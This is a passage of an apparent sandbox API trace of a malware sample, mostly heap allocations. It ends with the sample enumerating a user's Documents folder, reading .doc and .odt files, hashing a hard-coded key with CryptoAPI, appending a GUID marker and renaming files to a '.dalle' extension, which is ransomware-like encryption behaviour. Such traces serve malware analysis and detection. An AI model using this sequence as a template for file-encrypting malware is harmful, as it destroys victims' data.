RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.766] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.766] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.767] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.767] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.768] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.768] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.769] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.770] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.771] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.771] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.771] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.771] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.771] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.771] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.771] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.771] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.771] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.771] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.771] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.771] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094798 [0121.771] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.771] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\") returned="s-2Yi4nxLO_tQ5d\\" [0121.771] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\") returned="YSKur86t\\" [0121.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0121.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.772] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.772] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.772] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.772] PathFindFileNameW (pszPath="") returned="" [0121.772] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c27bd0, ftCreationTime.dwHighDateTime=0x1d4cd46, ftLastAccessTime.dwLowDateTime=0x6bde88a0, ftLastAccessTime.dwHighDateTime=0x1d4d31f, ftLastWriteTime.dwLowDateTime=0x6bde88a0, ftLastWriteTime.dwHighDateTime=0x1d4d31f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.773] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094798 | out: hHeap=0x5e0000) returned 1 [0121.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c27bd0, ftCreationTime.dwHighDateTime=0x1d4cd46, ftLastAccessTime.dwLowDateTime=0x6bde88a0, ftLastAccessTime.dwHighDateTime=0x1d4d31f, ftLastWriteTime.dwLowDateTime=0x6bde88a0, ftLastWriteTime.dwHighDateTime=0x1d4d31f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.774] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e9f6340, ftCreationTime.dwHighDateTime=0x1d4c990, ftLastAccessTime.dwLowDateTime=0xf5e3e940, ftLastAccessTime.dwHighDateTime=0x1d4cdc6, ftLastWriteTime.dwLowDateTime=0xf5e3e940, ftLastWriteTime.dwHighDateTime=0x1d4cdc6, nFileSizeHigh=0x0, nFileSizeLow=0x5824, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GybORRS.doc", cAlternateFileName="")) returned 1 [0121.774] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\GybORRS.doc") returned=".doc" [0121.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\GybORRS.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\gyborrs.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.774] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=22564) returned 1 [0121.775] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.776] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x57fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.776] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.778] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x5824, lpOverlapped=0x0) returned 1 [0121.778] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.779] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.779] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.779] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0121.779] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.779] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.779] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.780] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.780] GetLastError () returned 0x0 [0121.780] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.780] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0121.780] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.780] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.780] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.780] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.780] CloseHandle (hObject=0x618) returned 1 [0121.781] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\GybORRS.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\gyborrs.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\GybORRS.doc.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\gyborrs.doc.dalle")) returned 1 [0121.783] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.783] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.784] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f78ea0 | out: hHeap=0x5e0000) returned 1 [0121.784] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e09df10, ftCreationTime.dwHighDateTime=0x1d4cd02, ftLastAccessTime.dwLowDateTime=0x1526d4d0, ftLastAccessTime.dwHighDateTime=0x1d4c975, ftLastWriteTime.dwLowDateTime=0x1526d4d0, ftLastWriteTime.dwHighDateTime=0x1d4c975, nFileSizeHigh=0x0, nFileSizeLow=0x18af8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="i aQpW6c954.odt", cAlternateFileName="IAQPW6~1.ODT")) returned 1 [0121.784] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\i aQpW6c954.odt") returned=".odt" [0121.784] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\s-2Yi4nxLO_tQ5d\\i aQpW6c954.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\s-2yi4nxlo_tq5d\\i aqpw6c954.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.785] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=101112) returned 1 [0121.785] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.786] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18ad2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.786] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.789] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x18af8, lpOverlapped=0x0) returned 1 [0121.790] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.790] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.790] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.790] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0121.791] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 